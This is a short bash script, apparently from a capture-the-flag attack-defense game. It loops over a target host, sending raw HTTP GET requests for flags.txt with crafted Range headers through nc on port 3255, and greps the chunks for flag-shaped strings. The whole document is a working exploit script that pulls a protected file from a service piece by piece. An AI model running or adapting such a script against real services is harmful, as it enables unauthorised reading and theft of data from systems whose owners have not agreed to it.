ips

gistfile1.txt

#!/bin/bash

N=0
HOST=$1


while [ 0 ]; do
    START=`expr $N \* 33`
    STOP=`expr $START + 16`
    START2=`expr $STOP + 1`
    STOP2=`expr $STOP + 16`
    FLAG=`
        echo -e "GET flags.txt HTTP/1.1\r\nConnection: close\r\nHost: localhost\r\nRange: bytes=${START}-${STOP}\r\n\r\n" | nc -w 1 -q 1 $HOST 3255 |tail -n 1;
        echo -e "GET flags.txt HTTP/1.1\r\nConnection: close\r\nHost: localhost\r\nRange: bytes=${START2}-${STOP2}\r\n\r\n" | nc -w 1 -q 1 $HOST 3255 |tail -n 1
        `
    egrep '^\w{31}=$' <<<$FLAG || exit
    N=`expr $N + 1`
    done